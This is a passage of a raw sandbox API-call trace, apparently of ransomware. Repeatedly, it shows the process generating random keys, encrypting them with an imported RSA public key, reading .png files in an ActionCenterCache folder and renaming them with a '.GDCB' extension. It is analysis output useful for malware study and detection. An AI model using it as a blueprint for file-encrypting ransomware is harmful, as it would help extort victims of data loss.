szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d74c*=0x5c4760) returned 1 [0221.370] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0221.371] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0221.371] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285d89c | out: pbBuffer=0x285d89c) returned 1 [0221.371] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0221.371] CryptAcquireContextW (in: phProv=0x285d74c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d74c*=0x5c4e48) returned 1 [0221.372] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0221.373] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0221.373] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285d868 | out: pbBuffer=0x285d868) returned 1 [0221.373] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0221.373] CryptAcquireContextW (in: phProv=0x285d73c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d73c*=0x5c4e48) returned 1 [0221.376] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d740 | out: phKey=0x285d740*=0x6485800) returned 1 [0221.376] CryptGetKeyParam (in: hKey=0x6485800, dwParam=0x8, pbData=0x285d72c, pdwDataLen=0x285d734, dwFlags=0x0 | out: pbData=0x285d72c*=0x800, pdwDataLen=0x285d734*=0x4) returned 1 [0221.376] CryptEncrypt (in: hKey=0x6485800, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x7500000*, pdwDataLen=0x285d8b4*=0xc8, dwBufLen=0x800 | out: pbData=0x7500000*, pdwDataLen=0x285d8b4*=0x100) returned 1 [0221.376] GetLastError () returned 0x0 [0221.376] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0221.376] CryptAcquireContextW (in: phProv=0x285d73c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d73c*=0x5c4e48) returned 1 [0221.378] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d740 | out: phKey=0x285d740*=0x64851c0) returned 1 [0221.378] CryptGetKeyParam (in: hKey=0x64851c0, dwParam=0x8, pbData=0x285d72c, pdwDataLen=0x285d734, dwFlags=0x0 | out: pbData=0x285d72c*=0x800, pdwDataLen=0x285d734*=0x4) returned 1 [0221.378] CryptEncrypt (in: hKey=0x64851c0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x7510000*, pdwDataLen=0x285d8b8*=0xc8, dwBufLen=0x800 | out: pbData=0x7510000*, pdwDataLen=0x285d8b8*=0x100) returned 1 [0221.378] GetLastError () returned 0x0 [0221.378] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0221.378] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\ActionCenterCache\\{A90EDA99-693C-4259-AF53-D06F3BBAEEAB}.png" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\actioncentercache\\{a90eda99-693c-4259-af53-d06f3bbaeeab}.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x50c [0221.380] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x7520000 [0221.381] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x7530000 [0221.382] ReadFile (in: hFile=0x50c, lpBuffer=0x7530000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d8f8, lpOverlapped=0x0 | out: lpBuffer=0x7530000*, lpNumberOfBytesRead=0x285d8f8*=0xa42, lpOverlapped=0x0) returned 1 [0221.392] VirtualAlloc (lpAddress=0x0, dwSize=0xa50, flAllocationType=0x3000, flProtect=0x4) returned 0x7640000 [0221.397] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\ActionCenterCache\\{A90EDA99-693C-4259-AF53-D06F3BBAEEAB}.png" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\actioncentercache\\{a90eda99-693c-4259-af53-d06f3bbaeeab}.png"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\ActionCenterCache\\{A90EDA99-693C-4259-AF53-D06F3BBAEEAB}.png.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\actioncentercache\\{a90eda99-693c-4259-af53-d06f3bbaeeab}.png.gdcb")) returned 1 [0221.400] CryptAcquireContextW (in: phProv=0x285d74c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d74c*=0x5c4760) returned 1 [0221.402] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0221.403] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0221.404] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285d89c | out: pbBuffer=0x285d89c) returned 1 [0221.404] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0221.404] CryptAcquireContextW (in: phProv=0x285d74c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d74c*=0x5c4760) returned 1 [0221.405] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0221.406] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0221.406] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285d868 | out: pbBuffer=0x285d868) returned 1 [0221.406] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0221.407] CryptAcquireContextW (in: phProv=0x285d73c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d73c*=0x5c4760) returned 1 [0221.409] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d740 | out: phKey=0x285d740*=0x6485240) returned 1 [0221.409] CryptGetKeyParam (in: hKey=0x6485240, dwParam=0x8, pbData=0x285d72c, pdwDataLen=0x285d734, dwFlags=0x0 | out: pbData=0x285d72c*=0x800, pdwDataLen=0x285d734*=0x4) returned 1 [0221.409] CryptEncrypt (in: hKey=0x6485240, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x7500000*, pdwDataLen=0x285d8b4*=0xc8, dwBufLen=0x800 | out: pbData=0x7500000*, pdwDataLen=0x285d8b4*=0x100) returned 1 [0221.409] GetLastError () returned 0x0 [0221.409] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0221.409] CryptAcquireContextW (in: phProv=0x285d73c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d73c*=0x5c4760) returned 1 [0221.411] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d740 | out: phKey=0x285d740*=0x6485600) returned 1 [0221.411] CryptGetKeyParam (in: hKey=0x6485600, dwParam=0x8, pbData=0x285d72c, pdwDataLen=0x285d734, dwFlags=0x0 | out: pbData=0x285d72c*=0x800, pdwDataLen=0x285d734*=0x4) returned 1 [0221.411] CryptEncrypt (in: hKey=0x6485600, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x7510000*, pdwDataLen=0x285d8b8*=0xc8, dwBufLen=0x800 | out: pbData=0x7510000*, pdwDataLen=0x285d8b8*=0x100) returned 1 [0221.411] GetLastError () returned 0x0 [0221.411] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0221.411] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\ActionCenterCache\\{A95B47FD-465D-4ACE-A006-DCCC9033E6DB}.png" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\actioncentercache\\{a95b47fd-465d-4ace-a006-dccc9033e6db}.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x50c [0221.413] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x7520000 [0221.414] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x7530000 [0221.415] ReadFile (in: hFile=0x50c, lpBuffer=0x7530000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d8f8, lpOverlapped=0x0 | out: lpBuffer=0x7530000*, lpNumberOfBytesRead=0x285d8f8*=0xa42, lpOverlapped=0x0) returned 1 [0221.428] VirtualAlloc (lpAddress=0x0, dwSize=0xa50, flAllocationType=0x3000, flProtect=0x4) returned 0x7640000 [0221.433] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\ActionCenterCache\\{A95B47FD-465D-4ACE-A006-DCCC9033E6DB}.png" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\actioncentercache\\{a95b47fd-465d-4ace-a006-dccc9033e6db}.png"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\ActionCenterCache\\{A95B47FD-465D-4ACE-A006-DCCC9033E6DB}.png.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\actioncentercache\\{a95b47fd-465d-4ace-a006-dccc9033e6db}.png.gdcb")) returned 1 [0221.436] CryptAcquireContextW (in: phProv=0x285d74c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d74c*=0x5c4e48) returned 1 [0221.438] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0221.439] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0221.439] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285d89c | out: pbBuffer=0x285d89c) returned 1 [0221.439] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0221.439] CryptAcquireContextW (in: phProv=0x285d74c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d74c*=0x5c4e48) returned 1 [0221.440] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0221.441] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0221.441] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285d868 | out: pbBuffer=0x285d868) returned 1 [0221.441] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0221.442] CryptAcquireContextW (in: phProv=0x285d73c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d73c*=0x5c4760) returned 1 [0221.444] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d740 | out: phKey=0x285d740*=0x6485740) returned 1 [0221.444] CryptGetKeyParam (in: hKey=0x6485740, dwParam=0x8, pbData=0x285d72c, pdwDataLen=0x285d734, dwFlags=0x0 | out: pbData=0x285d72c*=0x800, pdwDataLen=0x285d734*=0x4) returned 1 [0221.444] CryptEncrypt (in: hKey=0x6485740, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x7500000*, pdwDataLen=0x285d8b4*=0xc8, dwBufLen=0x800 | out: pbData=0x7500000*, pdwDataLen=0x285d8b4*=0x100) returned 1 [0221.444] GetLastError () returned 0x0 [0221.444] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0221.444] CryptAcquireContextW (in: phProv=0x285d73c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d73c*=0x5c4e48) returned 1 [0221.446] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d740 | out: phKey=0x285d740*=0x6485300) returned 1 [0221.446] CryptGetKeyParam (in: hKey=0x6485300, dwParam=0x8, pbData=0x285d72c, pdwDataLen=0x285d734, dwFlags=0x0 | out: pbData=0x285d72c*=0x800, pdwDataLen=0x285d734*=0x4) returned 1 [0221.446] CryptEncrypt (in: hKey=0x6485300, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x7510000*, pdwDataLen=0x285d8b8*=0xc8, dwBufLen=0x800 | out: pbData=0x7510000*, pdwDataLen=0x285d8b8*=0x100) returned 1 [0221.446] GetLastError () returned 0x0 [0221.446] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0221.446] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\ActionCenterCache\\{AE613841-F649-4CD7-AF4A-2E7B7D99E12E}.png" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\actioncentercache\\{ae613841-f649-4cd7-af4a-2e7b7d99e12e}.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x50c [0221.448] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x7520000 [0221.449] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x7530000 [0221.468] ReadFile (in: hFile=0x50c, lpBuffer=0x7530000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d8f8, lpOverlapped=0x0 | out: lpBuffer=0x7530000*, lpNumberOfBytesRead=0x285d8f8*=0xa42, lpOverlapped=0x0) returned 1 [0221.477] VirtualAlloc (lpAddress=0x0, dwSize=0xa50, flAllocationType=0x3000, flProtect=0x4) returned 0x7640000 [0221.482] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\ActionCenterCache\\{AE613841-F649-4CD7-AF4A-2E7B7D99E12E}.png" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\actioncentercache\\{ae613841-f649-4cd7-af4a-2e7b7d99e12e}.png"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\ActionCenterCache\\{AE613841-F649-4CD7-AF4A-2E7B7D99E12E}.png.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\actioncentercache\\{ae613841-f649-4cd7-af4a-2e7b7d99e12e}.png.gdcb")) returned 1 [0221.486] CryptAcquireContextW (in: phProv=0x285d74c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d74c*=0x5c4e48) returned 1 [0221.488] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0221.489] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0221.489] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285d89c | out: pbBuffer=0x285d89c) returned 1 [0221.489] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0221.489] CryptAcquireContextW (in: phProv=0x285d74c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d74c*=0x5c4e48) returned 1 [0221.490] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0221.491] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0221.491] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285d868 | out: pbBuffer=0x285d868) returned 1 [0221.491] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0221.491] CryptAcquireContextW (in: phProv=0x285d73c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d73c*=0x5c4760) returned 1 [0221.494] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d740 | out: phKey=0x285d740*=0x6485640) returned 1 [0221.494] CryptGetKeyParam (in: hKey=0x6485640, dwParam=0x8, pbData=0x285d72c, pdwDataLen=0x285d734, dwFlags=0x0 | out: pbData=0x285d72c*=0x800, pdwDataLen=0x285d734*=0x4) returned 1 [0221.494] CryptEncrypt (in: hKey=0x6485640, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x7500000*, pdwDataLen=0x285d8b4*=0xc8, dwBufLen=0x800 | out: pbData=0x7500000*, pdwDataLen=0x285d8b4*=0x100) returned 1 [0221.494] GetLastError () returned 0x0 [0221.494] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0221.494] CryptAcquireContextW (in: phProv=0x285d73c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d73c*=0x5c4980) returned 1 [0221.496] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d740 | out: phKey=0x285d740*=0x6485780) returned 1 [0221.496] CryptGetKeyParam (in: hKey=0x6485780, dwParam=0x8, pbData=0x285d72c, pdwDataLen=0x285d734, dwFlags=0x0 | out: pbData=0x285d72c*=0x800, pdwDataLen=0x285d734*=0x4) returned 1 [0221.496] CryptEncrypt (in: hKey=0x6485780, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x7510000*, pdwDataLen=0x285d8b8*=0xc8, dwBufLen=0x800 | out: pbData=0x7510000*, pdwDataLen=0x285d8b8*=0x100) returned 1 [0221.496] GetLastError () returned 0x0 [0221.496] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0221.496] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\ActionCenterCache\\{B5D14E8C-339B-4360-B40C-A274F460B417}.png" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\actioncentercache\\{b5d14e8c-339b-4360-b40c-a274f460b417}.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x50c [0221.498] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x7520000 [0221.499] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x7530000 [0221.500] ReadFile (in: hFile=0x50c, lpBuffer=0x7530000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d8f8, lpOverlapped=0x0 | out: lpBuffer=0x7530000*, lpNumberOfBytesRead=0x285d8f8*=0xa42, lpOverlapped=0x0) returned 1 [0221.767] VirtualAlloc (lpAddress=0x0, dwSize=0xa50, flAllocationType=0x3000, flProtect=0x4) returned 0x7640000 [0221.772] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\ActionCenterCache\\{B5D14E8C-339B-4360-B40C-A274F460B417}.png" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\actioncentercache\\{b5d14e8c-339b-4360-b40c-a274f460b417}.png"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\ActionCenterCache\\{B5D14E8C-339B-4360-B40C-A274F460B417}.png.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\actioncentercache\\{b5d14e8c-339b-4360-b40c-a274f460b417}.png.gdcb")) returned 1 [0221.775] CryptAcquireContextW (in: phProv=0x285d74c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d74c*=0x5c4760) returned 1 [0221.778] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0221.779] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0221.779] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285d89c | out: pbBuffer=0x285d89c) returned 1 [0221.779] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0221.779] CryptAcquireContextW (in: phProv=0x285d74c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d74c*=0x5c4980) returned 1 [0221.781] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0221.782] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0221.782] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x20, pbBuffer=0x285d868 | out: pbBuffer=0x285d868) returned 1 [0221.782] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0221.782] CryptAcquireContextW (in: phProv=0x285d73c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d73c*=0x5c4980) returned 1 [0221.785] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d740 | out: phKey=0x285d740*=0x6485400) returned 1 [0221.785] CryptGetKeyParam (in: hKey=0x6485400, dwParam=0x8, pbData=0x285d72c, pdwDataLen=0x285d734, dwFlags=0x0 | out: pbData=0x285d72c*=0x800, pdwDataLen=0x285d734*=0x4) returned 1 [0221.785] CryptEncrypt (in: hKey=0x6485400, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x7500000*, pdwDataLen=0x285d8b4*=0xc8, dwBufLen=0x800 | out: pbData=0x7500000*, pdwDataLen=0x285d8b4*=0x100) returned 1 [0221.785] GetLastError () returned 0x0 [0221.785] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0221.785] CryptAcquireContextW (in: phProv=0x285d73c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d73c*=0x5c4e48) returned 1 [0221.787] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d740 | out: phKey=0x285d740*=0x64857c0) returned 1 [0221.787] CryptGetKeyParam (in: hKey=0x64857c0, dwParam=0x8, pbData=0x285d72c, pdwDataLen=0x285d734, dwFlags=0x0 | out: pbData=0x285d72c*=0x800, pdwDataLen=0x285d734*=0x4) returned 1 [0221.787] CryptEncrypt (in: hKey=0x64857c0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x7510000*, pdwDataLen=0x285d8b8*=0xc8, dwBufLen=0x800 | out: pbData=0x7510000*, pdwDataLen=0x285d8b8*=0x100) returned 1 [0221.787] GetLastError () returned 0x0 [0221.787] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0221.787] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\ActionCenterCache\\{B6815740-F01E-4E9E-AA05-D3CDE47C3DDC}.png" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\actioncentercache\\{b6815740-f01e-4e9e-aa05-d3cde47c3ddc}.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x50c [0221.788] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x7520000 [0221.790] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x7530000 [0221.791] ReadFile (in: hFile=0x50c, lpBuffer=0x7530000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d8f8, lpOverlapped=0x0 | out: lpBuffer=0x7530000*, lpNumberOfBytesRead=0x285d8f8*=0xa42, lpOverlapped=0x0) returned 1 [0221.844] VirtualAlloc (lpAddress=0x0, dwSize=0xa50, flAllocationType=0x3000, flProtect=0x4) returned 0x7640000 [0221.848] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\ActionCenterCache\\{B6815740-F01E-4E9E-AA05-D3CDE47C3DDC}.png" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\actioncentercache\\{b6815740-f01e-4e9e-aa05-d3cde47c3ddc}.png"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\ActionCenterCache\\{B6815740-F01E-4E9E-AA05-D3CDE47C3DDC}.png.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\actioncentercache\\{b6815740-f01e-4e9e-aa05-d3cde47c3ddc}.png.gdcb")) returned 1 [0221.852] CryptAcquireContextW (in: phProv=0x285d74c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d74c*=0x5c4760) returned 1 [0221.854] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0221.855] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0221.855] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285d89c | out: pbBuffer=0x285d89c) returned 1 [0221.855] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0221.855] CryptAcquireContextW (in: phProv=0x285d74c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d74c*=0x5c4760) returned 1 